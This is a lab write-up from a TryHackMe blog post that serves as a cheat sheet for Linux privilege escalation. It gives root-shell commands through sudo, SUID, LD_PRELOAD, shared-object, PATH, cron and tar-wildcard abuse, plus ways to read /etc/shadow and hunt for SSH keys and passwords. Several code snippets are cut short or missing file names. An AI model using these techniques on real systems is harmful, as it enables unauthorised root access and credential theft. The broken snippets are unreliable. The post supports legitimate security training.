TryHackMe | Linux Privilege Escalation

In this post, I summarize lessons learned from two rooms covering Linux Privilege Escalation on TryHackMe
In: TryHackMe, Attack


These are just some of the things you can try to escalate privilege on a Linux system. This is not meant to be an exhaustive list, and is just scratching the surface of Linux privilege escalation.

Be flexible and diligent in your checks. Most of these are just examples and you don't have to follow them word-for-word. Check other services, other files, use these as an example.

File Permissions

Look for system files or service files that may be writeable


  • If the user has sudo privileges on any or all binaries
  • Check here for possible escalation vectors:
  • Some other examples of sudo abuse

Shell Execution

Some examples of how sudo enabled binaries can be abused to start a root shell.

sudo find /bin -name nano -exec /bin/sh \;
sudo awk 'BEGIN {system("/bin/sh")}'
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
sudo vim -c '!sh'

Reading System Files

Example of how a sudo enabled command could be used to read a protected file.

sudo apache2 -f /etc/shadow
# Copy root hash and attempt to crack with john


  • Run sudo -l
  • If LD_PRELOAD environment variable is set
  • Create a file called whatever.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
  • Compile it
gcc -fPIC -shared -o /tmp/ whatever.c -nostartfiles
  • Load it
sudo LD_PRELOAD=/tmp/ apache2


Binary Environment Variables

  • Find SUID binaries
find / -type f -user root -perm /4000 -ls 2>/dev/null
  • If the SUID program is trying to load a program, you may be able add a program with the same name and inject it using path precedence
  • Or, you may be able to overwrite the target program
  • Use the strings program to inspect the SUID binary for any program paths
strings /path/to/suid/binary
  • Make a note of the program name it's trying to load
  • If the SUID binary is trying to load a program by its relative path, then it should be vulnerable to attack
  • For clarification:
    • An absolute path is something like: /usr/bin/bash
    • A relative path is something like: bash

Method 1

  • Bash <4.2-048 only
  • Check bash version /bin/bash --version
# Create a function with the same name as the service dependency
function /path/to/programname() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

# Export the function into the shell environment
export -f /path/to/programname
  • Run the SUID binary again

Method 2

# Set /bin/bash as a SUID and SGID binary
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/servicename.c
  • Compile it. Be sure to change program-name to the target program's name.
gcc /tmp/program-name.c -o /tmp/programname

# Path injection
export PATH=/tmp:$PATH
  • Run the SUID binary again.
  • Since you're putting /tmp first in the PATH variable, this is going to cause the SUID binary to find the the program in the /tmp directory first

Method 3

  • Check the permissions of the target program
which program-name
ls -l /path/to/program
  • If your user account or a group you're a member of has write permissions, you should be able to overwrite the target program with a malicious program

Shared Object Injection

  • Find SUID binaries
find / -type f -user root -perm /4000 -ls 2>/dev/null
  • Test the binaries for missing libraries
strace /path/to/suid/binary 2>&1 | grep -i -E "open|access|no such file"
  • If there are any .so libraries missing, they may be injectable
  • Note the that is missing
  • Note directory where the library should be and check if it's writeable
  • Create a filename.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
  • Compile it. Place the .so library in the correct path.
gcc -shared -fPIC /tmp/filename.c -o /tmp/


  • Check capabilities
  • Depending on the capability set, you may be able to use Python to escalate privilege

Example 1: cap_chown+ep

getcap -r / 2>/dev/null

# In this example, Python has the capability to change ownership of files
/usr/bin/python3.8 = cap_chown+ep

# Change ownership of the /etc/passwd file to your UID and GID
python3.8 -c 'import os;os.chown("/etc/passwd",<uid>,<gid>)

Example 2: cap_setuid

getcap -r / 2>/dev/null

# In this example, Python has the capability to set SUID bits on files
/usr/bin/python2.6 = cap_setuid

# Set the SUID bit on /bin/bsah with root as the owner
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Scheduled Tasks

Writeable Scripts

  • If a cron task is running as root and the script is writeable
  • Can overwrite the script with new contents to be run as root

Cron Path Injection

cat /etc/crontab
  • If cron is loading scripts from a writable directory, create or overwrite a script
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /writeable/dir/
chmod +x /writeable/dir/
  • Wait for cron to execute and load bash
/tmp/bash -ip

Abusing Scripts

Example: tar

If a script is using tar -cf /path/* wildcards

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/
touch /path/--checkpoint=1
touch /path/--checkpoint-action=exec=sh\

SSH Keys

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
  • Both of these may indicate the presence of a public SSH key
  • Could match up to a private SSH key for a user account

Stored Passwords

Configuration Files

  • Check in configuration files for stored password
  • Common directories

Terminal History

  • Check the terminal history if running under a user session
  • Also grep in home directories containing terminal history cache files

Kernel Exploits

  • Use the output from uname -a and Google around for a vulnerabilties
  • Enumeration scripts might indicate a vulnerable kernel version

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